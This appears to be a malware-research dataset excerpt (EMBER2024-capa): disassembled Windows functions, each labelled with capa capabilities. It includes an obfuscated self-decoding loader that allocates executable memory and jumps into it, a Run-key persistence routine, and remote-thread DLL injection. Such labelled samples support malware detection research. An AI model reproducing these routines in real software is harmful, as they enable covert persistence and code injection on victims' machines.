joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009c7e
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x438
mov eax, 0x1000ce13
call fcn.1000b9cb
mov eax, dword [ebp + 8]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x43c], eax
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x424], ax
xor esi, esi
lea eax, [ebp - 0x422]
push esi
push eax
call sub.MSVCR100.dll_memset
xor eax, eax
push edi
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push esi
push eax
call sub.MSVCR100.dll_memset
fldz
add esp, 0x18
fstp qword [ebp - 0x444]
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSoftGrid
mov ebx, 0x104
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x438], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10009ecd
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
mov dword [ebp - 0x428], esi
push esi
jmp 0x10009d98
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCR100.dll__wtof]
fldz
fcomp st(1)
pop ecx
fnstsw ax
test ah, 5
jp 0x10009d78
fld qword [ebp - 0x444]
fcomp st(1)
fnstsw ax
test ah, 5
jp 0x10009d78
lea eax, [ebp - 0x21c]
fstp qword [ebp - 0x444]
push eax
lea eax, [ebp - 0x424]
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
add esp, 0xc
jmp 0x10009d7a
fstp st(0)
inc dword [ebp - 0x428]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
call edi
mov dword [ebp - 0x430], eax
cmp eax, esi
je 0x10009d30
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x430], 0x103
jne 0x10009ecd
mov edi, dword [sym.imp.MSVCR100.dll_wcslen]
push str.ClientUserInterface
call edi
mov ebx, str.SoftwareMicrosoftSoftGrid_
push ebx
mov dword [ebp - 0x430], eax
call edi
mov ecx, dword [ebp - 0x430]
lea edi, [ecx + eax + 0x105]
xor ecx, ecx
push 2
pop edx
mov eax, edi
mul edx
seto cl
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
neg ecx
or ecx, eax
push ecx
call fcn.1000b14a
add esp, 0xc
mov dword [ebp - 0x428], eax
cmp eax, esi
je 0x10009ecd
push edi
push esi
push eax
call fcn.1000b14a
push ebx
push edi
push dword [ebp - 0x428]
call dword [sym.imp.MSVCR100.dll_wcscpy_s]
mov ebx, dword [sym.imp.MSVCR100.dll_wcscat_s]
add esp, 0x18
lea eax, [ebp - 0x424]
push eax
push edi
push dword [ebp - 0x428]
call ebx
add esp, 0xc
push str.ClientUserInterface
push edi
push dword [ebp - 0x428]
call ebx
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push 0x20019
push esi
push dword [ebp - 0x428]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, esi
jne 0x10009ec1
push dword [ebp - 0x434]
push str.LaunchCommand
push dword [ebp - 0x42c]
call fcn.10009b34
add esp, 0xc
push dword [ebp - 0x43c]
push 0x100102f8
push dword [ebp - 0x42c]
call fcn.10009b34
add esp, 0xc
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x428]
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
pop ecx
call fcn.1000ba27
ret
Function at 0x1000a817
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
push 0x89c
mov eax, 0x1000cea5
call fcn.1000b995
mov eax, dword [ebp + 8]
push 0x44
pop esi
xor ebx, ebx
push esi
mov dword [ebp - 0x854], eax
lea eax, [ebp - 0x8a8]
push ebx
push eax
mov dword [ebp - 0x850], ecx
mov byte [ebp - 0x849], bl
call sub.MSVCR100.dll_memset
xor eax, eax
push 0x10
mov word [ebp - 0x878], ax
lea eax, [ebp - 0x864]
push ebx
push eax
mov dword [ebp - 0x8a8], esi
mov dword [ebp - 0x87c], 1
call sub.MSVCR100.dll_memset
add esp, 0x18
push 7
pop edi
xor eax, eax
mov dword [ebp - 0x834], edi
mov dword [ebp - 0x838], ebx
mov word [ebp - 0x848], ax
push ebx
mov esi, 0x105
push esi
lea ecx, [ebp - 0x848]
mov dword [ebp - 4], ebx
call fcn.1000b14a
cmp dword [ebp - 0x834], 8
mov eax, dword [ebp - 0x848]
jae 0x1000a8bb
lea eax, [ebp - 0x848]
push eax
push dword [ebp - 0x838]
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
cmp eax, ebx
je 0x1000aa62
cmp eax, dword [ebp - 0x838]
ja 0x1000aa62
xor eax, eax
mov dword [ebp - 0x818], edi
mov dword [ebp - 0x81c], ebx
mov word [ebp - 0x82c], ax
push ebx
push esi
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], 1
call fcn.1000b14a
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a917
lea eax, [ebp - 0x82c]
push dword [ebp - 0x81c]
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
cmp eax, ebx
je 0x1000aa51
cmp eax, dword [ebp - 0x81c]
ja 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a94d
lea eax, [ebp - 0x82c]
mov esi, dword [sym.imp.kernel32.dll_SetCurrentDirectoryW]
push eax
call esi
test eax, eax
je 0x1000aa51
cmp dword [ebp - 0x818], 8
mov eax, dword [ebp - 0x82c]
jae 0x1000a973
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x864]
push ecx
lea ecx, [ebp - 0x8a8]
push ecx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x854]
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
cmp dword [ebp - 0x834], 8
mov edi, eax
mov eax, dword [ebp - 0x848]
jae 0x1000a9ab
lea eax, [ebp - 0x848]
push eax
call esi
cmp edi, ebx
je 0x1000a9df
push 0x186a0
push dword [ebp - 0x864]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
test eax, eax
jne 0x1000aa17
mov eax, dword [ebp - 0x864]
mov ecx, dword [ebp - 0x850]
mov dword [ecx + 0x24], eax
mov byte [ebp - 0x849], 1
jmp 0x1000aa17
call dword [sym.imp.kernel32.dll_GetLastError]
push 0x800
mov esi, eax
lea eax, [ebp - 0x810]
push ebx
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 0x400
lea eax, [ebp - 0x810]
push eax
push ebx
push esi
push ebx
push 0x1000
call dword [sym.imp.kernel32.dll_FormatMessageW]
mov eax, dword [ebp - 0x85c]
mov ecx, dword [ebp - 0x850]
push ebx
mov dword [ecx + 0x28], eax
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.1000b14a
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.1000b14a
mov al, byte [ebp - 0x849]
jmp 0x1000aa76
push ebx
push 1
lea ecx, [ebp - 0x82c]
mov byte [ebp - 4], bl
call fcn.1000b14a
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x848]
call fcn.1000b14a
xor al, al
call fcn.1000ba18
ret 4
Function at 0x1000aa7e
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x258
mov eax, 0x1000cef0
call fcn.1000b995
mov edi, ecx
xor esi, esi
mov byte [ebp - 0x251], 0
cmp dword [edi + 0x20], esi
jne 0x1000acb5
mov eax, dword [edi]
xor ebx, ebx
inc ebx
sub eax, esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x260], ebx
je 0x1000aacd
dec eax
jne 0x1000acb5
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcrobat.exe
jmp 0x1000aadb
lea eax, [ebp - 0x25c]
push eax
push ebx
push esi
push str.softwareMicrosoftWindowsCurrentVersionApp_PathsAcroRd32.exe
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x25c], esi
je 0x1000acb5
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x260]
push eax
push esi
push 0x1000f51c
push dword [ebp - 0x25c]
mov dword [ebp - 0x264], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, esi
jne 0x1000aca9
cmp dword [ebp - 0x260], ebx
je 0x1000ab40
cmp dword [ebp - 0x260], 2
jne 0x1000aca9
push 0x1c
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x258], eax
mov dword [ebp - 4], esi
cmp eax, esi
je 0x1000ab65
lea ecx, [ebp - 0x218]
push ecx
mov ecx, eax
call fcn.1000b14a
jmp 0x1000ab67
xor eax, eax
or dword [ebp - 4], 0xffffffff
mov dword [edi + 0x20], eax
cmp byte [0x10015902], 0
je 0x1000aca2
mov edx, dword [eax + 0x14]
push 8
pop esi
cmp edx, esi
jb 0x1000ab8f
mov ecx, dword [eax]
mov dword [ebp - 0x258], ecx
jmp 0x1000ab95
mov dword [ebp - 0x258], eax
cmp edx, esi
jb 0x1000ab9d
mov ecx, dword [eax]
jmp 0x1000ab9f
mov ecx, eax
mov ebx, dword [eax + 0x10]
lea ecx, [ecx + ebx*2]
cmp edx, esi
jb 0x1000abab
mov eax, dword [eax]
push dword [sym.imp.MSVCR100.dll_towlower]
push dword [ebp - 0x258]
push ecx
push eax
lea eax, [ebp - 0x258]
push eax
call fcn.1000b14a
add esp, 0x14
push str.acrobat.exe
lea ecx, [ebp - 0x234]
call fcn.1000b14a
push str.acrodbg.exe
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], 1
call fcn.1000b14a
mov eax, dword [ebp - 0x234]
mov byte [ebp - 4], 2
cmp dword [ebp - 0x220], esi
jae 0x1000ac07
lea eax, [ebp - 0x234]
mov esi, dword [ebp - 0x224]
mov edi, dword [edi + 0x20]
push esi
push 0xffffffffffffffff
push eax
mov ecx, edi
call fcn.1000b14a
mov ebx, eax
test ebx, ebx
je 0x1000ac2e
mov dword [ebp - 0x258], esi
mov esi, str.acrord32.exe
jmp 0x1000ac64
cmp dword [ebp - 0x23c], 8
mov eax, dword [ebp - 0x250]
jae 0x1000ac43
lea eax, [ebp - 0x250]
push dword [ebp - 0x240]
mov ecx, edi
push 0xffffffffffffffff
push eax
call fcn.1000b14a
mov ebx, eax
test ebx, ebx
je 0x1000ac7c
mov dword [ebp - 0x258], esi
mov esi, str.acrd32_d.exe
push esi
call dword [sym.imp.MSVCR100.dll_wcslen]
pop ecx
push eax
push esi
push dword [ebp - 0x258]
mov ecx, edi
push ebx
call fcn.1000b14a
push 0
push 1
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], 1
call fcn.1000b14a
or dword [ebp - 4], 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x234]
call fcn.1000b14a
mov byte [ebp - 0x251], 1
push dword [ebp - 0x25c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 0x251]
call fcn.1000ba18
ret
Function at 0x1000b14a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000b159
pop dword [ebp - 0xc]
mov eax, 0x9d64e20f
add eax, 0x729bcf4a
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x6c41451a
add dword [ebp - 0x1c], 0xe2110031
mov dword [ebp - 0x18], 0xf128b894
add dword [ebp - 0x18], 0x410a93b1
mov dword [ebp - 0x14], 0x878b6bce
sub dword [ebp - 0x14], 0x3b3f27a0
mov dword [ebp - 0x10], 0x6d582e25
add dword [ebp - 0x10], 0x92a7d1db
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xece79a45
add dword [ebp - 0x1c], 0x878acf11
mov dword [ebp - 0x18], 0xcd37ba75
add dword [ebp - 0x18], 0x7434a700
mov dword [ebp - 0x14], 0xe6b4ab6a
sub dword [ebp - 0x14], 0x83453efe
mov dword [ebp - 0x10], 0x584a46c0
add dword [ebp - 0x10], 0xa7b5b940
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x9a4456fb
sub eax, 0x8a4366b7
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x387ef
push 0
call eax
mov ecx, 0xb7e6719e
add ecx, 0x4819d588
xor esi, esi
add esi, eax
mov edx, 0x19a780bf
add edx, 0xf65a2341
add edx, dword [ebp - 0xc]
mov edi, 0xcb97f00b
sub edi, 0x4ef09edf
xor dword [ebp - 4], ebx
mov ebx, dword [edx]
mov dword [ebp - 8], 0x3d381448
add ebx, edi
sub dword [ebp - 4], 0xa610bd5d
mov dword [esi], ebx
mov dword [ebp - 4], 0x4b46372c
add esi, 4
add edx, 0xd0ec61f0
add edx, 0x2f139e14
loop 0x1000b278
add eax, 0x36a04525
sub eax, 0x369f35ba
xor ebx, ebx
add ebx, eax
add eax, 0x9ed57fbf
add eax, 0x612a8046
mov ecx, 0x1bffc3cb
add ecx, 0xf4003c35
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x1000b904
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10015820]
jne 0x1000b90e
repz ret
jmp fcn.1000c082
Function at 0x707412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x70741325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x70741325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x7074132c
mov eax, 1
jmp 0x70741331
mov eax, 0
leave
ret

Function at 0x70741333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x7074146f
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x707415a2
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x707415e8
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x70741631
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x7074162e
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x70741631
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x70741bf0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x7074603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x70746034]
sub esp, 4
test ebx, ebx
je 0x70741c3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x70741c34
test esi, esi
je 0x70741c34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x70741c10
mov dword [esp], 0x7074603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x70741e20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x7074418c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x70741e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x70741f48
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x70741eae
cmp eax, 4
jne 0x70741ed0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x70741ebe
cmp edx, 4
je 0x70741ebe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.70741e20
Function at 0x4020c6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
lea eax, [ebp - 0xc]
call fcn.00401000
lea eax, [ebp - 0x18]
call fcn.00401000
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x54]
push 0
push eax
call fcn.0041d490
mov eax, dword [ebp + 0x10]
add esp, 0xc
test byte [ebp + 0xc], 1
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x50], 0x740
mov dword [ebp - 0x38], 0xa
je 0x402117
and dword [ebp - 0x38], 0
mov dword [ebp - 0x50], 0x8740
test byte [ebp + 0xc], 2
je 0x402124
mov dword [ebp - 0x48], str.runas
mov esi, dword [ebp + 0xc]
and esi, 0x10000
jne 0x402136
or dword [ebp - 0x50], 0x100
mov eax, dword [0x43027c]
push 5
push eax
mov dword [ebp - 0x4c], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x4c]
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0xc]
call fcn.00403688
push eax
lea eax, [ebp - 0x18]
call fcn.0040100c
lea eax, [ebp - 0xc]
call fcn.0040ba95
test eax, eax
jne 0x402186
lea eax, [ebp - 0x18]
call fcn.0040177f
lea eax, [ebp - 0xc]
call fcn.0040177f
xor eax, eax
inc eax
pop esi
leave
ret
lea eax, [ebp - 0xc]
call fcn.0040bba5
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x18]
call fcn.0040bba5
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4021d9
test esi, esi
jne 0x4021b9
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
inc esi
lea eax, [ebp - 0x18]
call fcn.0040177f
lea eax, [ebp - 0xc]
call fcn.0040177f
mov eax, esi
jmp 0x402183
xor esi, esi
jmp 0x4021c5
Function at 0x402c3e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push dword [ebp + 8]
mov eax, esi
call fcn.004026f7
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x402d52
push edi
push edi
mov dword [0x42dee0], esi
mov dword [0x430278], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42dee4], eax
cmp eax, edi
je 0x402c99
cmp dword [0x43028c], 2
je 0x402c8b
call fcn.00409f51
mov eax, dword [0x42dee4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x42dee4]
mov ecx, dword [0x430278]
mov dword [0x4302b8], edi
cmp ecx, edi
je 0x402cdf
cmp ecx, 1
je 0x402cd3
cmp ecx, 2
je 0x402ccf
cmp ecx, 3
je 0x402ccb
cmp ecx, 0x67
jle 0x402cc6
cmp ecx, 0x6b
jle 0x402d48
push ecx
push 0x14
jmp 0x402d19
push 0x12
jmp 0x402cd5
push 0x13
jmp 0x402cd5
push 0x11
push edi
call fcn.00409e54
pop ecx
pop ecx
jmp 0x402d48
mov dword [ebp + 8], edi
cmp dword [0x4302c0], edi
jne 0x402d48
cmp eax, edi
je 0x402d06
lea ecx, [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x402d06
cmp dword [ebp + 8], edi
jne 0x402d06
xor eax, eax
jmp 0x402d4d
mov ecx, dword [ebp + 8]
mov eax, 0x80070000
and ecx, eax
cmp ecx, eax
je 0x402d1c
push dword [ebp + 8]
push 0x21
push edi
jmp 0x402d40
mov eax, dword [ebp + 8]
and eax, 0xffff
cmp eax, 0xe
jne 0x402d32
cmp dword [0x430290], 0xffffffff
je 0x402d48
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 8]
push 0x22
push 1
call fcn.00409e54
add esp, 0xc
mov eax, 0x80004005
pop edi
leave
ret 4

Function at 0x4035ba
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov eax, esi
call fcn.00401000
push 2
mov eax, esi
call fcn.00403465
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push eax
push 1
call edi
mov ebx, eax
xor eax, eax
mov ecx, esi
call fcn.00401799
test ebx, ebx
je 0x4035fd
inc ebx
push ebx
mov eax, esi
call fcn.00403465
push eax
push ebx
call edi
push esi
call fcn.00403447
mov eax, esi
call fcn.0040ba95
and dword [ebp - 4], 0
lea ebx, [eax + 0xf]
lea edi, [eax + eax]
push ebx
mov eax, esi
call fcn.00403465
push dword [ebp - 4]
add eax, edi
push dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push esi
call fcn.00403447
mov eax, esi
call fcn.0040bba5
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40364d
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xfff
jl 0x40360e
pop edi
mov eax, esi
pop ebx
leave
ret